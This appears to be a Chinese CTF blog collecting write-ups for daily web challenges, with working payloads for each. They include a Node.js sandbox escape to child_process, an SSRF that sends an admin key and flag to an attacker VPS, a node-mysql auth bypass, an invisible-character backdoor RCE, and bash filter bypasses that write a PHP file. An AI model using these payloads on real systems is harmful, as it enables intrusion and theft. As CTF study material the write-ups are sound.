Tha1ctf
又称每日一题,欢迎其他师傅合作,靶场的访问目前仅限校内,外校师傅想来玩可以私我微信ST1021294680bing
序
先开局一张图
有人问我说去哪了,怎么不更新了,其实我是被拉去出水题了
为什么出题?那当然是为了活跃气氛和学习
为什么天天出题?自己看看大标题
行吧行吧不扯皮,咱们来看看前几次的每日一题
题目
除了一道docker集群,一道sql交互,一道duck 赶作业没放上去,其他都应放尽放,本来可以在台式机跑的,但是磁盘不稳定,求富哥带我
关于题目源码之类的:
里面应该基本全了,如果有缺漏微信私我
题解
汇总如下:
day1
第一题[dicectf2022]secure_page
diceCTF2022 部分wp – View of Thai
旨在给新生练练pythonweb
可以看到这里只要admin==true就给flag
而cookie不含有任何加密,所以咱直接改就行
payload:修改cookie为
admin=true
第二题[dicectf2022]undefinded
因为上面一题太水了所以新增一道,不过偏misc,先说一句jacko神狂喜
题目源码
#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;
Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;
for (const key of Object.getOwnPropertyNames(global)) {
if (["global", "console", "eval"].includes(key)) {
continue;
}
global[key] = undefined;
delete global[key];
}
delete global.global;
process = undefined;
{
let AbortController=undefined;let AbortSignal=undefined;
let AggregateError=undefined;let Array=undefined;
let ArrayBuffer=undefined;let Atomics=undefined;
let BigInt=undefined;let BigInt64Array=undefined;
let BigUint64Array=undefined;let Boolean=undefined;
let Buffer=undefined;let DOMException=undefined;
let DataView=undefined;let Date=undefined;
let Error=undefined;let EvalError=undefined;
let Event=undefined;let EventTarget=undefined;
let FinalizationRegistry=undefined;
let Float32Array=undefined;let Float64Array=undefined;
let Function=undefined;let Infinity=undefined;let Int16Array=undefined;
let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;
let Intl=undefined;let JSON=undefined;let Map=undefined;
let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;
let MessagePort=undefined;let NaN=undefined;let Number=undefined;
let Object=undefined;let Promise=undefined;let Proxy=undefined;
let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;
let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;
let String=undefined;let Symbol=undefined;let SyntaxError=undefined;
let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;
let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;
let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;
let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;
let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;
let exports=undefined;let _error=undefined;let assert=undefined;
let async_hooks=undefined;let atob=undefined;let btoa=undefined;
let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;
let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;
let constants=undefined;let crypto=undefined;let decodeURI=undefined;
let decodeURIComponent=undefined;let dgram=undefined;
let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;
let encodeURI=undefined;let encodeURIComponent=undefined;
let arguments=undefined;let escape=undefined;let events=undefined;
let fs=undefined;let global=undefined;let globalThis=undefined;
let http=undefined;let http2=undefined;let https=undefined;
let inspector=undefined;let isFinite=undefined;let isNaN=undefined;
let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;
let parseInt=undefined;let path=undefined;let perf_hooks=undefined;
let performance=undefined;let process=undefined;let punycode=undefined;
let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;
let repl=undefined;let require=undefined;let setImmediate=undefined;
let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;
let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;
let sys=undefined;let timers=undefined;let tls=undefined;
let trace_events=undefined;let tty=undefined;let unescape=undefined;
let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;
let wasi=undefined;let worker_threads=undefined;let zlib=undefined;
let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;
let propertyIsEnumerable=undefined;let toLocaleString=undefined;
let toString=undefined;let valueOf=undefined;
console.log(eval(input));
}
运行
node app.js
关于eval是怎么rce的,可以看看(53条消息) ctfshow--node.js漏洞_ing_end的博客-CSDN博客
所以平时想到的payload都是类似这种
global.process.mainModule.constructor.load('child_process').execSync('id')
require或者怎么load一个child_process去rce,但是通过尝试都是undefined
有个tw师傅写的很好,我舔爆
我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識 - Huli
里面有个文档import - JavaScript | MDN (mozilla.org)
静态的
import
语句用于导入由另一个模块导出的绑定。无论是否声明了strict mode
,导入的模块都运行在严格模式下。在浏览器中,import
语句只能在声明了type="module"
的script
的标签中使用。此外,还有一个类似函数的动态
import()
,它不需要依赖type="module"
的 script 标签。在 script 标签中使用
nomodule
属性,可以确保向后兼容。在您希望按照一定的条件或者按需加载模块的时候,动态
import()
是非常有用的。而静态型的import
是初始化加载依赖项的最优选择,使用静态import
更容易从代码静态分析工具和 tree shaking 中受益。
也就是import("某某模板")就可以了
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
import("child_process").then(m=>console.log(m.execSync('calc')))
另一种做法很细
console.log("Trying to reach");
return;
console.log("dead code");
浏览器里面会报错
确实,没有函数哪来return
但是node有个特点
可见它执行了,
通过查阅资料我们得到:刚刚的代码会被自动放入function中
(function (exports, require, module, __filename, __dirname) {
console.log("Trying to reach");
return;
console.log("dead code");
});
我們的目標就是拿到
require
這個參數,但是因為arguments
也變成undefined
了,所以沒有辦法直接拿到,要間接去拿。這是什麼意思呢,我們可以先執行一個 function,然後再用arguments.callee.caller.arguments
去拿到 parent function 的參數,像是這樣:
function wrapper(flag) {
{
let flag = null
let arguments = null
function inner() {
console.log(arguments.callee === inner) // true
console.log(arguments.callee.caller === wrapper) // true
console.log(arguments.callee.caller.arguments[0]) // I am flag
}
inner()
}
}
wrapper('I am flag')
很神奇,在 let arguments = null
的前提之下仍然可以拿到'I am flag'这个参数
所以咱构造一个function,里面有require,然后参数用arguments.callee.caller.arguments[0]获取就行,写payload的时候想到,传参很麻烦,咱甚至可以直接给arguments.callee.caller.arguments[0]赋值
payload
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
day2
各位实在不好意思,由于之前几天江老师布置了挖洞任务,所以每日一题项目延期。而时至今日,老师已经没有任务了,故web组的建设从今天正式开始。
建设包括每日一题和两日一文档,以及周末和夏曼一起举办的吹水会
[SEETF]Flag Portal (Flag 1)
我已经提示了
有三个服务
看到第一个flag在flagportal这里,
点进去看发现一个ruby服务端
elsif path == '/admin'
params = req.params
flagApi = params.fetch("backend", false) ? params.fetch("backend") : "http://backend/flag-plz"
target = "https://bit.ly/3jzERNa"
uri = URI(flagApi)
req = Net::HTTP::Post.new(uri)
req['Admin-Key'] = ENV.fetch("ADMIN_KEY")
req['First-Flag'] = ENV.fetch("FIRST_FLAG")
req.set_form_data('target' => target)
res = Net::HTTP.start(uri.hostname, uri.port) {|http|
http.request(req)
}
resp = res.body
flagApi = params.fetch("backend", false) ? params.fetch("backend") : "http://backend/flag-plz"
,这里的flagApi直接就是用户可控
随后他对这个flagApi发送flag,那就
backend=http://vps:3307
看到外面有一层代理,是apache traffic server,可以看看这个:(54条消息) apache traffic server 简称ats 入坑(一)开始使用_mmz8的博客-CSDN博客
然鹅访问/admin会被暴露在最外面的代理ban掉
代理写的不好,直接//admin绕过
payload
http://flagportal.chall.seetf.sg:10001//admin
[2022Asisctf]duck
从python当前环境中取变量(只能有大小写字母和.)然后将取出的值作为文件名读取
直接使用print(dir(request))
输出全部request的成员
['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'charset', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'encoding_errors', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_charset', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']
一个个试一下最后确定origin
参数可用(request.origin)取出的就是请求头中的origin
from flask import Flask,request,Response
import random
import re
app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None
@app.route('/duck')
def retDuck():
what = request.args.get('what')
#print(dir(request))
if(not what or re.search(r'[^A-Za-z\.]',what)):
return 'what?'
with open(eval(what),'rb') as f:
return Response(f.read(), mimetype='image/jpeg')
if(__name__ == '__main__'):
app.run(port=8000)
payload:
GET /duck?what=request.origin HTTP/1.1
Host: ducks.asisctf.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ducks.asisctf.com:8000/duck?what=request.origin
Connection: close
Upgrade-Insecure-Requests: 1
origin: /flag.txt
或者可以
自己本地起一个测试
######### test
#!/usr/bin/env python3
from flask import Flask,request,Response
import random
import re
app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None
@app.route('/duck')
def retDuck():
what = request.args.get('what')
# duckInABag = './images/e146727ce27b9ed172e70d85b2da4736.jpeg'
# duckLookingAtAHacker = './images/591233537c16718427dc3c23429de172.jpeg'
# duckWithAFreeHugsSign = './images/25058ec9ffd96a8bcd4fcb28ef4ca72b.jpeg'
if(not what or re.search(r'[^A-Za-z\.]',what)):
return 'what?'
with open(eval(what),'rb') as f:
return Response(f.read(), mimetype='image/jpeg')
# @app.route("/")
# def index():
# return indexTemplate.replace('WHAT',random.choice(availableDucks))
with open('./index.html') as f:
indexTemplate = f.read()
with open('/flag.txt') as f:
flag = f.read()
if(__name__ == '__main__'):
app.run(port=8000)
建一个/flag.txt内容是flag{xxx}
可以看到经过eval就直接解析变量的值了
由于ban了__和括号
所以不能随心所欲的import东西进来
不过好在它import了这三个,够了
from flask import Flask,request,Response
import random
import re
咱们了解到(53条消息) Django和Flask获取访问来源referrer_彭世瑜的博客-CSDN博客
request.referrer
然后referer伪造个/flag.txt就出了
day3
每日一题2022.10.18
[原创]node&sql
node相关的sql注入
https://blog.flatt.tech/entry/node_mysql_sqlinjection
demo
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
用下面这个可以绕
payload1
password[passwd]=1&username=admin
payload2
{"username": "admin","password":{"passwd":1}}
原因链接里写的很清楚了,当passwd:1的时候,会返回passwd
在数据库中相当于如下
这个是查的出来的
day4
docker run -p xxx:8080 -d ththaiai/tha1nodeshell
[原创]tha1nodeshell
- node中不可见的shell
题目提示说/read
flag在环境变量
访问/read
post 一个file参数,估计是读文件
file=../../../../../../etc/passwd
是可以读到的,当然也可以读到根目录的假flag
没啥用,估计还是得读源码呢
猜测是app.js
file=app.js
可以看到代码
细心的话会发现这里有个奇怪的地方!
const { timeout,ㅤ} = req.query;
为啥有个逗号,不应该是下面这个吗
const { timeout} = req.query;
复制黏贴进vscode看
自动出现了高亮,这原来是个不可见字符,而且写在exec函数的变量里
具体原理其实是:
https://certitude.consulting/blog/en/invisible-backdoor/
真是个后门!!
所以可以 ?参数=rce_command
flag在环境变量且不出网,想到有个/read
(直接复制黏贴那个不可见字符)
/network_health?ㅤ=env>1.txt
或者你url编码下
/network_health?%E3%85%A4=env>1.txt
/read
file=1.txt
彩蛋/xman
这位师傅是谁呢??
day5
docker run -p -d xxx:80 ththaiai/rceme_easy
原本是1题的,由于第一次空格过滤不严格被非预期了一次之后,就变成2个题了
原创题
[原创]rceme_easy
代码
if(!preg_match("/\s|;|\||&/im",$cmd)){
//hint: you have the permission to write file
system("bash -c '$".$cmd);
}
考察在有$符号存在的情况下,如何不使用;
,|
,&
这些分割符号进行rce,同时也限制了一定的换行和空格的使用
不过空格是可以使用${IFS}
和<>
绕过的
于是有了decade的解法
cmd=echo"strings$echo"$IFS"/fllaagg"'
这里strings xxx就是读xxx文件
$开头,用$echo闭合($echo经过bash解析后是空),
由于空格过滤使用${IFS}绕,双引号用于分割字符串
llt的做法更像预期解
$除了用echo闭合,还可以用括号,
$(abc)就是把abc执行的结果作为命令再执行一遍
所以
cmd=(cp$IFS$9/flag$IFS$9/var/www/html/flag)
这个可以本地复现的,稍微改下就可以出
day6
[原创]rceme_2
由于预期是无空格注入和过滤一定程度的关键字(比如flag,cat。。。)
所以新上waf
/\s|;|\||\$|\<|&|`|\?|\//im
多过滤了$
,<
,?
,/
还有反引号
这样的话做到了严格的空格过滤
但是由于目录有写权限
我们可以重定向输出
$({echo,'/flag'}>1.txt)
可以看到1.txt有/flag
┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/c/Users/20281/Desktop]
└─$ $({echo,'/flag'}>1.txt)
┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/c/Users/20281/Desktop]
└─$ cat 1.txt
/flag
但是写shell的话分号会被ban
十六进制编码
\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b
$({printf,'\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b'}>1.php)
本地测试可以后,记得单引号双引号的问题
payload
cmd=({printf,"\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b"}>1.php)'
以上是预期解
以下是群友们的解法
jacko的类似预期的解法,使用了bash直接执行脚本
cmd={a}{echo,"{cd,..}"}>a'
cmd={a}{echo,"{cd,..}"}>>a'
cmd={a}{echo,"{cd,..}"}>>a'
cmd={a}{echo,"ls"}>>a'
cmd={a}{echo,"{cat,flaggg}"}>>a'
cmd={a}{bash,a}'
这里由于过滤了/没法直接/flag,但是jacko没有想到编码绕过,选择了切换目录的思维,赢!
decade的解法最为简洁
cmd=({printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"})'
不得不说,大哥们就是牛,小弟学到了好多姿势
总结
不得不说,学到很多
但是有些老师是真的离谱
你瞧瞧这像话吗
我去写作业了